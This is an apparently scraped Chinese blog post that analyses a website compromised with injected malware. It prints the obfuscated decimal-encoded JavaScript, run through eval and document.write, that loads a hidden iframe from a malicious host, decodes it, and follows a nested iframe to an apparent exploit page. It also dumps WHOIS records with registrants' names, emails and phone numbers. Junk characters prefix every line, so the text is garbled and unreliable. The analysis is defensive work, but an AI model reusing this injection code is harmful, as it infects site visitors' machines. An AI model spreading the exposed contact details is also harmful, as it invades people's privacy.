首发在我的博客里面，
yJ J8 "s~i i./Y w http://www.areway.cn/?p=175 +]L) >$6 R Kk" L>:FGNf^H 周末上线鸭子就Q我说他的站给挂了马，当时没太注意就直接打开了连接，截下了网页源码：
3@HIpQM3 Xz* tbW# <script>t=’60,105,102,114,97,109,101,
H A\A$> 32,115,114,99,61,104,116,116,112,58,47,47,
llqDT-cp 102,114,101,101,46,117,45,117,117,117,46,99,
K#)bjxz 110,47,101,114,114,111,114,46,104,116,109,
G5+]DogS 32,119,105,100,116,104,61,49,48,48,32,104,
4 Q&mC" 101,105,103,104,116,61,48,62,60,47,105,102,
W_D%|Ub2X 114,97,109,101,62′;
f#c BQ~ t=eval(’String.fromCharCode(’+t+’)');document.write(t);</script>
O 3}P07 # tP )-ww <script>t=’60,105,102,114,97,109,101,32,115,
ULrbQ}"cva 114,99,61,104,116,116,112,58,47,47,102,114,
,s8&# 1rJ- 101,101,46,117,45,117,117,117,46,99,110,47,
_<Vg[ -:1 101,114,114,111,114,46,104,116,109,32,119,
qL~Pjr>cF 105,100,116,104,61,49,48,48,32,104,101,105,
C=EhY+5 103,104,116,61,48,62,60,47,105,102,114,97,
Bf(Mot^ 109,101,62′;t=eval(’String.fromCharCode(’+t+’)');
+}Auk|>Dc document.write(t);</script>
3]7ipwF2q 5Wl,J _<F <html xmlns=”
l58l http://www.w3.org/1999/xhtml /gF]s_ “>
MIJ%_=sm4: <head>
P^n{Y ~P=Q <!– Published By Newasp.cc 2007-12-7-18:03:23 –>
nFVbQa~ <meta http-equiv=”Content-Type” content=”text/html; charset=gb2312″ />
=mAGD*NKu <title>首页 - 爱生活家庭网
B~e7w 4 uRs9}dzv 上面有一段 script的十进制加密字段，里面的大概内容是，把所有的字符放在函数t里面，最后用doucment.write(t)来把字符串写在网页里面。
AF
QnCl Of 转换字符串后的大概内容是（谁点击后果自付）：
f`bIQ 9R <script>t=’<iframe src=http://free.u-uuu.cn/error.htm width=………
&a~L_`\ ' :az!H"4W/ 查询玉米u-uuu.cn的详细信息：
0L
7@2|a0 Domain Name: u-uuu.cn
,at-ci\' ROID: 20070901s10001s64972306-cn
8L@UB6b\ Domain Status: ok
?|gGsm+ Registrant Organization: 王雷
bmSpbX\ Registrant Name: 王雷
&0Fp P&Z( Administrative Email:
czlovexs@126.com
-kV| Sponsoring Registrar: 北京万网志成科技有限公司
aB7d( Name Server:ns.yovole.com
U8C w7u2 Name Server:ns1.yovole.com
W[@"H1b VH Registration Date: 2007-09-01 17:54
aJ% e'F[ Expiration Date: 2008-09-01 17:54
~x9 W{B] 最后PING了一下地址 都没有什么….
lS>=y#i3Xv OM E!W w 上虚拟机里面继续分析，IE里面打开上面的连接…查看源代码…..直接又有嵌套.
x u0;a <iframe src=http://www.foafau.info/ms15.htm width=1 height=1></iframe>
Y !Usce <script language=”javascript” src=”
%kaTQ"PB http://count43.51yes.com/click.aspx?id=4333375720&logo=6″></script q^Q|.&_k / >
U+I3 P 这个玉米应该有可能是木马作者的：
qT& S foafau.info的详细信息：
l; .[W| Access to INFO WHOIS information is provided to assist persons in
U1OLI]P determining the contents of a domain name registration record in the
IiYuUN1D Afilias registry database. The data in this record is provided by
>Lo6='G Afilias Limited for informational purposes only, and Afilias does not
4'd;'SvF guarantee its accuracy. This service is intended only for query-based
}7f 1(#{7 access. You agree that you will use this data only for lawful purposes
Hz8Jgp and that, under no circumstances will you use this data to: (a) allow,
Q-H =wJ4R enable, or otherwise support the transmission by e-mail, telephone, or
gs^UR6
D, facsimile of mass unsolicited, commercial advertising or solicitations
U Ex(~> to entities other than the data recipient’s own existing customers; or
7 UB8N vo (b) enable high volume, automated, electronic processes that send
mmh nw ( / queries or data to the systems of Registry Operator, a Registrar, or
B' P,?` Afilias except as reasonably necessary to register domain names or
/zDSl j<c modify existing registrations. All rights reserved. Afilias reserves
4n `[S N the right to modify these terms at any time. By submitting this query,
0KNH=;d} you agree to abide by this policy.
_Ct@1}aa4x Domain ID:D22418703-LRMS
|hZ|+7 Domain Name:FOAFAU.INFO
!>"INmz Created On:20-Nov-2007 16:05:42 UTC
uL qpbn Last Updated On:20-Nov-2007 16:05:44 UTC
&@` H^8 Expiration Date:20-Nov-2008 16:05:42 UTC
q/aL8V<"z Sponsoring Registrar:GoDaddy.com Inc. (R171-LRMS)
U?+3 0{hb Status:CLIENT DELETE PROHIBITED
[57V 8% Status:CLIENT RENEW PROHIBITED
g,{Ei]$>I Status:CLIENT TRANSFER PROHIBITED
hx2!YNx ! Status:CLIENT UPDATE PROHIBITED
4Tbi%vF{ Status:TRANSFER PROHIBITED
kW7&~tX Registrant ID:GODA-040110615
oIu,rjb Registrant Name:liu hong
tCF0Ah Registrant Organization:
_bvtJZ3i Registrant Street1:beijing
@EH4N%fH Registrant Street2:
"pKGUM Registrant Street3:
7J)Hw l Registrant City:beijing
&].1[&M] Registrant State/Province:
]#WX|0''^ Registrant Postal Code:100000
*N&^bF"SF Registrant Country:CN
= *U%j Registrant Phone:+86.860108888777
S^sW.(I Registrant Phone Ext.:
BGk<NEzH Registrant FAX:
uDMUy"8&! Registrant FAX Ext.:
n"Z,-./m Registrant Email:bbbshiji@163.com
'f$?/5@@ Admin ID:GODA-240110615
Y/Gswcz Admin Name:liu hong
LTlC}3c28f Admin Organization:
J6?_?XzToT Admin Street1:beijing
V~%WKQ Admin Street2:
"}y3@ M^ Admin Street3:
cJp1 <R Admin City:beijing
@'G ( k; Admin State/Province:
5{x[EXE' Admin Postal Code:100000
c# 4ZDjvm6 Admin Country:CN
B39PD J]hu Admin Phone:+86.860108888777
p|O-I&Xd Admin Phone Ext.:
p~{ %f#V Admin FAX:
.L 5T4) Admin FAX Ext.:
/%@RO^P Admin Email:bbbshiji@163.com
2>_LX!kyP] Billing ID:GODA-340110615
ZkV vL4yIK Billing Name:liu hong
vp}># & Billing Organization:
2 ShlYW@~ Billing Street1:beijing
u>E+HxUJ Billing Street2:
c1/x,1LnMf Billing Street3:
W) _B(;$] Billing City:beijing
7-LeJRB Billing State/Province:
M{H&5 9v Billing Postal Code:100000
aJF `rLm Billing Country:CN
1Y`MJ \9 Billing Phone:+86.860108888777
<(^pHv7Q Billing Phone Ext.:
{\e}43^9N Billing FAX:
HfF$ >Z'kM Billing FAX Ext.:
3)ip@29F Billing Email:bbbshiji@163.com
Nh))U Tech ID:GODA-140110615
+~@Y#>+./l Tech Name:liu hong
dO@iq^9 - Tech Organization:
U}7[8 &k1 Tech Street1:beijing
'UyL%h;nJ Tech Street2:
B/71$i Tech Street3:
1K`A.J:Uy Tech City:beijing
c1^3 lgPv Tech State/Province:
8 7Kx7CKF" Tech Postal Code:100000
~I XfID!8 Tech Country:CN
"xOeBNRjV Tech Phone:+86.860108888777
\
C^D2Z6 Tech Phone Ext.:
P#xn!fMi Tech FAX:
l0_V-|x Tech FAX Ext.:
H L?pnT09 Tech Email:bbbshiji@163.com
w B^a1=C Name Server:NS27.DOMAINCONTROL.COM
[=Z{y8#:J Name Server:NS28.DOMAINCONTROL.COM
RB" rx\u7K Name Server:
4Y! v$r Name Server:
!=we7vK} Name Server:
:RHm*vt Name Server:
YDW|-HI F Name Server:
{ yTpRQN~ Name Server:
k j-=xhJ{= Name Server:
3\1#eK'TK. Name Server:
I ,]J= xi Name Server:
g rc:Y Name Server:
eap8*ONl Name Server:
"$r 1$mBi ?HV }mS[t 接着下载每个文件里面的代码：
eIsT!V" 7 一步一步看..
pp<E))&R 
~JLYhA^'+< 
Gy9
$Wj 
5}
G:D 
7_KXD# 
CG.,/] _ 都是十进制的代码，也懒得再分析了，有这个爱好的大家可以继续试试
